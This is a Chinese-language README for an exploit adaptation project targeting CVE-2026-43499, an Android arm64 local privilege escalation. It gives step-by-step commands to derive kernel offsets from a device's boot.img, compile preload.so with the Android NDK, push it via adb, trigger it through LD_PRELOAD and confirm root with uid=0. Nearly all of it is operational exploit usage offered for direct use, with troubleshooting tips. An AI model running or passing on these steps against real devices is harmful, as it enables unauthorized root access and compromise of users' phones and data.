为 boot.img 生成每设备内核偏移量,并编译预加载库以利用 CVE-2026-43499 Android arm64 本地权限提升漏洞。
English | 中文
这是一个用于 CVE-2026-43499 的 Android arm64 本地提权适配项目。
项目会根据目标设备的 boot.img 和 profile 信息生成 target.h,然后编译出对应的 preload.so。
说明:本项目是通用适配框架,不绑定单一机型。实际是否可用,以
generate_target.py能否成功生成target.h以及真机测试结果为准。
项目目录/
├── boot.img # 目标设备同固件 boot 镜像
├── profile.json # 目标设备 profile
├── detect_offset.py # 检测 profile 用
├── generate_target.py # 生成 target.h
├── source/
│ ├── Makefile
│ └── src/
│ └── target.h # 自动生成
└── source/build/bin/
└── preload.so # 编译产物
Python 3
LLVM / llvm-objdump
Android NDK
make
adb
Windows 下推荐使用:
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64
MSYS2 里安装 make:
pacman -S make coreutils
你需要准备:
boot.img
profile.json
profile 示例:
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
profile 里的这两个地址:
p0_phys_offset
p0_kernel_phys_load
可以在已经 Root、且与目标 boot.img 同固件的手机上运行脚本得到:
python3 detect_offset.py
Windows 也可以:
python detect_offset.py
Linux / macOS:
cd PATH/project
Windows MSYS2 示例:
cd PATH/CVE-2026-43499-Poc-Analysis-main
Linux / macOS 示例:
export ANDROID_NDK_HOME=PATH/android-ndk
Windows MSYS2 示例:
export ANDROID_NDK_HOME=PATH/android-ndk-r29
python generate_target.py \
--boot boot.img \
--profile profile.json \
-o source/src/target.h
或者 CMD 使用 :
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
如果提示找不到 llvm-objdump,手动指定路径:
python generate_target.py \
--boot boot.img \
--profile profile.json \
-o source/src/target.h \
--llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
或者 CMD 使用:
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h --llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
成功后会看到类似:
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...
Linux / macOS:
make -C source clean preload
Windows MSYS2:
make -C source clean preload NDK_PREBUILT=windows-x86_64
成功后会生成:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell "chmod 0644 /data/local/tmp/preload.so"
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
验证:
adb shell "/data/local/tmp/su -c 'id'"
成功时一般会看到:
uid=0(root) gid=0(root)
按你的路径示例:
cd PATH/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=PATH/android-ndk-r29
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
make -C source clean preload NDK_PREBUILT=windows-x86_64
最终文件:
source/build/bin/preload.so
安装 LLVM,或者使用:
--llvm-objdump "PATH/llvm-objdump"
Windows 用 MSYS2 安装:
pacman -S make coreutils
一般是 NDK 路径没配好。
Windows MSYS2 示例:
export ANDROID_NDK_HOME=PATH/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64
通常说明当前 boot.img 或内核布局还没有适配成功。
重点检查:
boot.img 是否完整
profile 是否正确
llvm-objdump 是否可用
内核是否有 IKCONFIG / kallsyms / BTF
target.h。target.h 不建议手动改,应该由 generate_target.py 自动生成。